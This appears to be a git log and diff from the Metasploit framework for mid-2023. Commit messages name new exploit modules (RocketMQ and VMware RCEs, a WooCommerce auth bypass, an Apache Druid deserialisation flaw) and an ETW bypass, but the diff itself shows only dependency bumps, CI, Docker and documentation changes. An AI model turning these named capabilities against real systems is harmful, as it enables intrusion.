Christophe De La Fuente df4a03c79d Land #18082, Apache RocketMQ update config RCE (CVE-2023-33246) 2023-07-06 09:15:03 +02:00
Grant Willcox 3abcb3ebaa Explain ADMINID field more 2023-07-05 13:10:41 -05:00
Grant Willcox ce19ce5b72 Apply fixes from review 2023-07-05 12:24:51 -05:00
adfoster-r7 00aa2e63a0 Land #18166, Handle nil error when creating adapted payloads 2023-07-05 18:07:12 +01:00
Jack Heysel f1b5cd46f4 Apache RocketMQ update config RCE 2023-07-05 12:38:51 -04:00
Metasploit 83dc8e9012 automatic module_metadata_base.json update 2023-07-05 11:36:32 -05:00
Dean Welch d452f49f09 Handle nil error when creating adapted payloads 2023-07-05 17:28:05 +01:00
Christophe De La Fuente ae48236d07 Land #18122, rocketmq version lib 2023-07-05 18:11:25 +02:00
Grant Willcox da6cdd1d5b Fix up datastore setting code 2023-07-05 10:55:14 -05:00
jheysel-r7 53a761a13d Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-05 11:13:08 -04:00
h00die f77e7db637 woocommerce payments auth bypass 2023-07-04 13:09:27 -04:00
h00die 8d686e5a28 woocommerce payments auth bypass 2023-07-04 13:06:27 -04:00
h00die 375a315b3d woocommerce payments auth bypass 2023-07-04 13:05:07 -04:00
Grant Willcox d97c0fc8f7 Land #18153, Remove Ruby 2.7 from Github actions
Ruby 2.7 has been EOL'd for 3 months now and is no longer supported.
2023-06-30 15:38:16 -05:00
adfoster-r7 d968d92e53 Remove Ruby 2.7 from Github actions 2023-06-30 14:10:07 +01:00
cgranleese-r7 badb710940 Land #18152, Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 14:07:07 +01:00
adfoster-r7 fa0e53775f Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 10:22:13 +01:00
Metasploit dfbd14ea5b automatic module_metadata_base.json update 2023-06-29 17:43:57 -05:00
Grant Willcox 859ff288fc Land #18147, Add Ruby 3.3.0-preview1 to test suite 2023-06-29 17:20:24 -05:00
adfoster-r7 085943bd78 Add Ruby 3.3.0-preview1 to test suite 2023-06-29 22:53:17 +01:00
Jack Heysel cc1b7db773 Method documentation comments 2023-06-29 15:52:03 -04:00
jheysel-r7 35f5b19512 Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-29 15:23:27 -04:00
Metasploit 1426a5c12e Bump version of framework to 6.3.24 2023-06-29 12:18:27 -05:00
Rory McKinley 1dff3e5e26 Copy blog post about capture plugin to docs 2023-06-29 14:58:37 +02:00
dwelch-r7 028660384a Land #18146, Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 13:27:57 +01:00
adfoster-r7 50c675cc90 Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 00:00:48 +01:00
adfoster-r7 0c8dff1ab0 Land #17901, Add lazy loading for payloads on startup 2023-06-28 23:12:12 +01:00
Metasploit 0aa0bbadd6 automatic module_metadata_base.json update 2023-06-28 13:06:39 -05:00
Spencer McIntyre 740fe5f6c9 Land #18133, Dotnet signature fix
The signature of the .NET executable will now be automatically
determined based on the .NET executable and not the parameters provided
to the module.
2023-06-28 13:50:26 -04:00
Rory McKinley a967815397 Remove reliance on deprecated print_* methods 2023-06-28 17:56:57 +02:00
Rory McKinley 795fae2b81 Tweak help output to provide more detail 2023-06-28 16:52:07 +02:00
Ashley Donaldson 6772740f86 Fix bug in HostingCLR relating to the first argument passed to a dotnet assembly. 2023-06-28 09:24:33 +10:00
Ashley Donaldson afe359281c Remove manual signature handling, and figure it out for the user. 2023-06-28 09:22:01 +10:00
jheysel-r7 ce2629d4e1 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:36 -04:00
jheysel-r7 3e4b62a240 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:13 -04:00
jheysel-r7 f86f9c0440 Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-27 16:39:16 -04:00
dwelch-r7 36e0d8f915 Land #18121, Add proper SubjectAltName parsing 2023-06-27 16:54:33 +01:00
Metasploit 3e999a1dc5 automatic module_metadata_base.json update 2023-06-27 08:48:05 -05:00
Spencer McIntyre 67f7a33d77 Land #18114, .NET assembly execution enhancements
Allow .NET assembly execution within the meterpreter process
2023-06-27 09:32:43 -04:00
Spencer McIntyre 767b22f7ef Recompile the DLL 2023-06-27 09:31:24 -04:00
Spencer McIntyre df0f7de098 Fix an ARGUMENT handling error
`datastore['ARGUMENT']` can be `nil` when it's been unset. Avoid an
error when appending it to cln_params by checking that it's present.
2023-06-27 09:29:59 -04:00
Ashley Donaldson 0d0906840e Fix memory protection bug 2023-06-27 09:59:52 +10:00
Metasploit fb6ecdd2ab automatic module_metadata_base.json update 2023-06-26 16:46:43 -05:00
Spencer McIntyre 7da9ea07aa Land #17796, AWS EC2 enum: implement reporting 2023-06-26 17:31:38 -04:00
Spencer McIntyre fd89ac6893 Fix REGION related issues
Fixes hanging when REGION is invalid. Fixes a stack trace when REGION is
an empty string.
2023-06-26 17:18:13 -04:00
Joshua Rogers 1e7af0457a Update jenkins_gather.md
Change Windows default to C:\ProgramData\Jenkins\.jenkins.
2023-06-26 21:29:27 +02:00
Joshua Rogers cac515b8db Update jenkins_gather.rb
Change the default Windows location to C:\ProgramData\Jenkins\.jenkins\.
2023-06-26 21:27:59 +02:00
Jack Heysel 46629ca1d2 responded to comments 2023-06-26 14:01:12 -04:00
Grant Willcox def6d644cc Land #18141, Remove flakey redundant test 2023-06-26 12:36:32 -05:00
Dean Welch df5b26ea3a Remove flaky redundant test 2023-06-26 16:32:41 +01:00
Ashley Donaldson 65a4dd3c39 Change ETW bypass method, so that CLR memory can be freed.
Fixed a crash and broken logic in hosting clr code.
2023-06-26 09:54:00 +10:00
Ashley Donaldson 624643be4a Catch errors and give meaningful error messages 2023-06-25 22:12:22 +10:00
RageLtMan 60523c0f9b Apply @smcintyre-r7's logic fix
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-06-23 18:48:21 -04:00
Metasploit 0f593d881c automatic module_metadata_base.json update 2023-06-23 16:17:47 -05:00
Jack Heysel bf1e6bddd1 Land #18134, Add exploit for CVE-2023-25194
This exploits a Java deserialization vulnerbility
in Apache Druid which arises from a JNDI injection
within Apache Kafka clients.
2023-06-23 16:52:04 -04:00
Grant Willcox da34476a91 Land #17959, rescue login scanner attempts 2023-06-23 14:49:26 -05:00
Grant Willcox f48dadff62 Land #18139, Fix windows python meterpreter getuid intermittent crash 2023-06-23 12:02:37 -05:00
adfoster-r7 7aa1dafc1f Fix windows python meterpreter getuid intermittent crash 2023-06-23 15:30:02 +01:00
Metasploit f641d64f2f automatic module_metadata_base.json update 2023-06-23 05:07:35 -05:00
dwelch-r7 d68eb84334 Land #18065, Updates jenkins_gather module to work with newer version of Jenkins 2023-06-23 10:44:06 +01:00
cgranleese-r7 9176d0d3e0 Updates jenkins_gather to work with newer version of Jenkins 2023-06-23 10:02:03 +01:00
Heyder Andrade b026b38851 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-06-23 09:36:50 +02:00
Ashley Donaldson 977f8732c6 Fix cleanup code.
The _AppDomainPtr, _AssemblyPtr and _MethodInfoPtr variables are COM smart pointers which will auto-Release() when they go out of scope, so we should not directly Release() them.
2023-06-23 14:01:45 +10:00
Ashley Donaldson a7ce4c7fa8 Free memory from the C++ side, rather than the Ruby side. 2023-06-23 09:57:53 +10:00
Metasploit 0f65368866 Bump version of framework to 6.3.23 2023-06-22 15:51:18 -05:00
Redwaysecurity.com 77bb6759a6 Review suggestions 2023-06-22 18:12:13 +02:00
Redwaysecurity.com e2fc3c5eff Fixed documentation offenses 2023-06-22 14:48:16 +02:00
Redwaysecurity.com a8332e6064 Added exploit for CVE-2023-25194 2023-06-22 14:17:32 +02:00
Ashley Donaldson 461240639c Check PID validity before getting its bitness 2023-06-22 16:05:48 +10:00
Jack Heysel 64b441be2a Rspec tests, get_broker_port addition 2023-06-22 01:29:33 -04:00
Ashley Donaldson 6e438d338e Modify execute_dotnet_assembly to run in existing processes (including our own process) and receive output. 2023-06-21 12:04:09 +10:00
usiegl00 1c5b88c59f Update CachedSize for Mettle 2023-06-19 12:23:40 +02:00
usiegl00 7e3e30f9d0 Bump Mettle Version 2023-06-19 11:56:52 +02:00
usiegl00 22101f15cc Update Aarch64 Payloads for RuboCop
Use msftidy to fix the rubocop errors.
2023-06-19 11:20:23 +02:00
usiegl00 b8068bc781 Cleanup for Sonoma Dyld
This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 0415565396 Fix for Ventura Dyld
This adds support for the dyld changes incorperated into Ventura which
includes changes to the symbols used. This does not break compatibility
with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 44762f18e8 Increase Stack Space for Loader
This increases the stack stack space mmap'd for the 2nd stage loader and
should fix the invalid stack memory access crash on the staged payload.
2023-06-19 10:57:37 +02:00
usiegl00 e70bdb028a Basic MachO Signing
This commit adds the sign method to Payload::MachO which performs a
basic SHA256 signature update on the provided macho to enable it to run
under osx aarch64 systems.
2023-06-19 10:57:37 +02:00
usiegl00 658c87996d Hotwire MachO Signing
This commit hotwires in executable signing to some of the aarch64 osx
payloads in order to ensure that they are fully functional.
2023-06-19 10:57:37 +02:00
usiegl00 8a5442f7f0 Fix AARCH64 MachO Generation
This updates the exe util to properly generate stageless aarch64 macho
payloads. I've also added comments on how to assemble the aarch64
stages.
2023-06-19 10:57:37 +02:00
usiegl00 8c4c260911 Mettle now supports aarch64-apple-darwin
This bumps the metasploit_payloads-mettle version to enable the new
target triple.
2023-06-19 10:57:37 +02:00
usiegl00 5f8767f4cf M1ssion Dyld Mettle: Aarch64 Payloads
This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
2023-06-19 10:57:37 +02:00
h00die e49e70ce93 update rocketmq tests 2023-06-16 16:26:35 -04:00
h00die 67225650de convert _ to . 2023-06-16 16:13:36 -04:00
h00die 4f661ff230 rocketmq version lib 2023-06-16 15:36:06 -04:00
Spencer McIntyre 0ca978fe9d Return arrays of values where applicable
Return arrays of values where applicable and update method docs.
2023-06-16 12:19:11 -04:00
Spencer McIntyre 44ffafcf62 Add more unit tests 2023-06-16 11:48:43 -04:00
Spencer McIntyre 2d800be5b1 Read the ORAddress definition
Note that there's a known issue that needs the changes from
sdaubert/rasn1#37 to work.
2023-06-16 11:48:36 -04:00
Dean Welch 8527eea15d Add lazy loading for payloads 2023-06-16 12:04:48 +00:00
Spencer McIntyre 16ef8c4eaa Add a basic spec for the x509 SAN definition 2023-06-15 15:57:10 -04:00
Spencer McIntyre 9e8a8d7c25 Remove our BMPString definition
It was added in https://github.com/sdaubert/rasn1/pull/33 and is present
in RASN 0.12.1.
2023-06-15 15:57:10 -04:00
Spencer McIntyre 0555b4ada0 Add SAN parsing with a proper ASN.1 definition
The ORAddress field is left out because it's significantly more
complicated than the rest and doesn't appear to be necessary at this
time.
2023-06-15 15:57:02 -04:00
Spencer McIntyre 39c9355715 Add additional string primitives 2023-06-15 15:51:14 -04:00
SinSinology fd5e4dfc39 VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887
Technical details at
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
2023-06-13 15:16:11 +01:00
RageLtMan ead8a99d79 AWS EC2 Enum: handle limits properly
Get all instances if limit is not set, improve output slightly.

Note: `inst.network_interfaces.select {|iface| iface.association}`
appears to have problems with multiple calls at run time - says
that the AWS SDK is trying to call `:[]` on `nil` but works in Pry.
2023-06-10 08:45:25 -04:00
Jeffrey Martin c33fe50bbb remove overzealous error handler
Update the error handling around the EC2 sdk to follow official documentation:
https://github.com/aws/aws-sdk-ruby/blob/a350a9cf9946aadd1292df6936aecd706c6ddd85/gems/aws-sdk-ec2/lib/aws-sdk-ec2.rb#L68-L72
2023-06-10 08:45:25 -04:00
Jeffrey Martin b1477a8616 add new notes metadata 2023-06-10 08:45:25 -04:00
RageLtMan afdcf76ef6 AWS EC2 enum: rubocop pass 2023-06-10 08:45:25 -04:00
RageLtMan a04b54486f AWS EC2 enum: parse tags 2023-06-10 08:45:25 -04:00
RageLtMan 00eed69b92 AWS EC2 enum: implement reporting 2023-06-10 08:45:25 -04:00
Jeffrey Martin 2059505ccd improve login attempt guards
* tighted up rescue to catch individual attempt exceptions
* remove general rescue in SNMP
* ensure SNMP socket is released
2023-05-03 09:15:14 -05:00
Jeffrey Martin 152f9460f9 rescue login scanner attempts
* Improve base login scanner to catch any Exception
* Catch any Exception in SNMP scanner that overrides base method
* Expand connection errors possible in PostgreSQL scanner
2023-05-02 15:43:57 -05:00
Joshua Rogers 0f5f495108 Add default locations for the Jenkins home directory, and add an optional value that a user can suggest the home directory. 2023-02-22 03:56:54 +01:00
286 changed files with 21595 additions and 3490 deletions
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Ruby ${{ matrix.ruby }}
steps:
+1 -1
View File
@@ -35,7 +35,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Lint msftidy
steps:
+3 -2
View File
@@ -64,15 +64,14 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
- '3.1'
- '3.2'
- '3.3.0-preview1'
os:
- ubuntu-20.04
- ubuntu-latest
exclude:
- { os: ubuntu-latest, ruby: '2.7' }
- { os: ubuntu-latest, ruby: '3.0' }
include:
- os: ubuntu-latest
@@ -99,6 +98,8 @@ jobs:
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
+1 -1
View File
@@ -40,7 +40,7 @@ jobs:
const hasPR = await github.rest.pulls.list({
owner,
repo,
head: owner + ':' + '${{ github.ref_name }}'
head: owner + ':' + '${{ github.ref_name }}'
});
console.log('hasPR:');
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
+4
View File
@@ -22,6 +22,7 @@ require:
- ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
Layout/SpaceBeforeBrackets:
Description: >-
@@ -166,6 +167,9 @@ Layout/ModuleHashValuesOnSameLine:
Layout/ModuleDescriptionIndentation:
Enabled: true
Lint/DetectInvalidPackDirectives:
Enabled: true
Lint/ModuleDisclosureDateFormat:
Enabled: true
+3 -3
View File
@@ -61,8 +61,8 @@ ENV METASPLOIT_GROUP=metasploit
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk \
python2-dev openssl-dev nasm mingw-w64-gcc
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
@@ -75,7 +75,7 @@ RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN gem update --system
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
RUN pip install impacket
RUN pip install requests
+11 -7
View File
@@ -1,11 +1,12 @@
PATH
remote: .
specs:
metasploit-framework (6.3.22)
metasploit-framework (6.3.29)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
aws-sdk-s3
aws-sdk-ssm
@@ -32,9 +33,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.143)
metasploit-payloads (= 2.0.148)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
metasploit_payloads-mettle (= 1.0.26)
mqtt
msgpack (~> 1.6.0)
nessus_rest
@@ -139,6 +140,9 @@ GEM
aws-sdk-ec2 (1.382.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sdk-ec2instanceconnect (1.27.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.79.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
@@ -258,7 +262,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.143)
metasploit-payloads (2.0.148)
metasploit_data_models (6.0.2)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -269,7 +273,7 @@ GEM
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
metasploit_payloads-mettle (1.0.26)
method_source (1.0.0)
mini_portile2 (2.8.2)
minitest (5.18.0)
@@ -298,8 +302,8 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.23.0)
parser (3.2.2.3)
ast (~> 2.4.1)
+6 -5
View File
@@ -13,6 +13,7 @@ aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.776.0, "Apache 2.0"
aws-sdk-core, 3.174.0, "Apache 2.0"
aws-sdk-ec2, 1.382.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
aws-sdk-iam, 1.79.0, "Apache 2.0"
aws-sdk-kms, 1.66.0, "Apache 2.0"
aws-sdk-s3, 1.123.1, "Apache 2.0"
@@ -73,11 +74,11 @@ memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.5, "New BSD"
metasploit-framework, 6.3.22, "New BSD"
metasploit-framework, 6.3.29, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.143, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.148, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
@@ -99,7 +100,7 @@ octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.3, MIT
patch_finder, 1.0.2, "New BSD"
@@ -134,7 +135,7 @@ rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.98, "New BSD"
rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
+2 -2
View File
@@ -91,8 +91,8 @@ begin
}
invalidate_bootsnap_cache!(bootsnap_config)
Bootsnap.setup(**bootsnap_config)
rescue
$stderr.puts 'Warning: Failed bootsnap cache setup'
rescue => e
$stderr.puts "Warning: Failed bootsnap cache setup - #{e.class} #{e} #{e.backtrace}"
begin
FileUtils.rm_rf(cache_dir, secure: true)
rescue
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 B

+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin readme</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -57,3 +57,5 @@ woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
+8713 -1615
View File
File diff suppressed because it is too large Load Diff
@@ -106,7 +106,7 @@ Enter passphrase: [...]
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
```ini
[user]
name = Your Name
email = your_email@example.com
@@ -114,7 +114,7 @@ Enter passphrase: [...]
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
# Thank you
@@ -147,7 +147,7 @@ This method is just a stub on the Base mixin. It will be overridden in each Logi
For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)`
```ruby
```ruby
# (see Base#attempt_login)
def attempt_login(credential)
result_options = {
@@ -156,7 +156,7 @@ def attempt_login(credential)
begin
success = connect_login(credential.public, credential.private)
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionProxyError, Rex::ConnectionTimeout, Rex::TimeoutError, Errno::ECONNRESET, Errno::EINTR, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
success = false
end
@@ -170,7 +170,7 @@ def attempt_login(credential)
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
```
```
### scan!
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -0,0 +1,155 @@
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
They are designed to have a very loose definition in order to make them as useful as possible.
Plugins are not available by default, they need to be loaded:
```msf
msf6 > load plugin_name
```
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
```
load plugin_name
plugin_name_command --option
```
## Available Plugins
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
| name | Description |
